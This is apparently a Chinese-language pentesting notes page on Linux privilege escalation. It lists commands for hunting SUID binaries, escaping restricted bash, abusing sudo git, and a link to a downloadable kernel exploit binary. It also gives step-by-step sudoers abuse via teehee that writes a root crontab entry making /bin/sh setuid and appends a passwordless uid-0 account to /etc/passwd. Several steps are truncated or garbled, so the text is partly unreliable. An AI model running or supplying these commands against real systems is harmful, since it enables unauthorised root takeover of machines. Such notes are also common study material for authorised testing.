linux提权
1.suid提权
1 | 运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行) |
搜索符合条件的可以用来提权的:
1 | find / -perm -u=s -type f 2>/dev/null |
搜索可以提权的程序,一般有以下 :
1 | nmap vim find Bash More Less Nano cp |
举例:find提权
1 | find / -perm -u=s -type f 2>/dev/null |
发现find可以利用
普通用户,进入到/tmp目录下,然后新建一个文件。
1 | touch abcd |
会发现已经是root权限
2.rbash绕过
1 | rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试 |
1.
1 | echo $PATH #查看自己可以使用的命令 |
1 | less,ls,scp,vi |
是我们可以用的
尝试用以下来绕过
#干就完事了
1 | 1. |
最后用13成功绕过了rbash,进入了bash
3.
执行:
1 | export PATH=$PATH:/bin/ |
3.git提权
1 | sudo git help config |
4.cve-2017-8917
Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
5.sudoer配置文件错误提权
5.1 基础知识
1 | 有的时候,普通用户经常要执行某个命令,但是经常需要sudo输入密码,我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升,但是如果一旦是给了用户写入的root权限,比如vi,那么这个普通用户一旦被入侵,就可以通过vi来提权 |
1 | root:代表用户 |
看下面的图:
代表了用户zaq可以以root的权限运行ls指令
前边要加sudo,可以看到zaq用户成功查看了/root目录的结构
sudo -l 显示出自己(执行 sudo 的使用者)的权限
5.2 提权
1 | 如果这个/bin/ls变成了可以写入文件的命令会怎么办呢?比如: |
使用crontab提权
基本过程:向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以 root身份写入crontab计划任务通过执行获取root权限
操作过程如下:
1、echo root chmod 4777 /bin/sh > /etc/crontab
2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh
(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)
3、ls -la /bin/sh
4、/bin/sh
添加新用户提权
添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户。
1、echo “test::0:0:::/bin/bash”
2、sudo teehee -a /etc/passwd
3、输入:test::0:0:::/bin/bash
4、然后ctrl+c退出,再su test切换用户,即可获得root权限设置uid和gid都为0,那么这个用户就相当于root
格式:[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]
5.2suid
1 | 值得注意的是:chmod 4777 /bin/bash不会有这种效果 |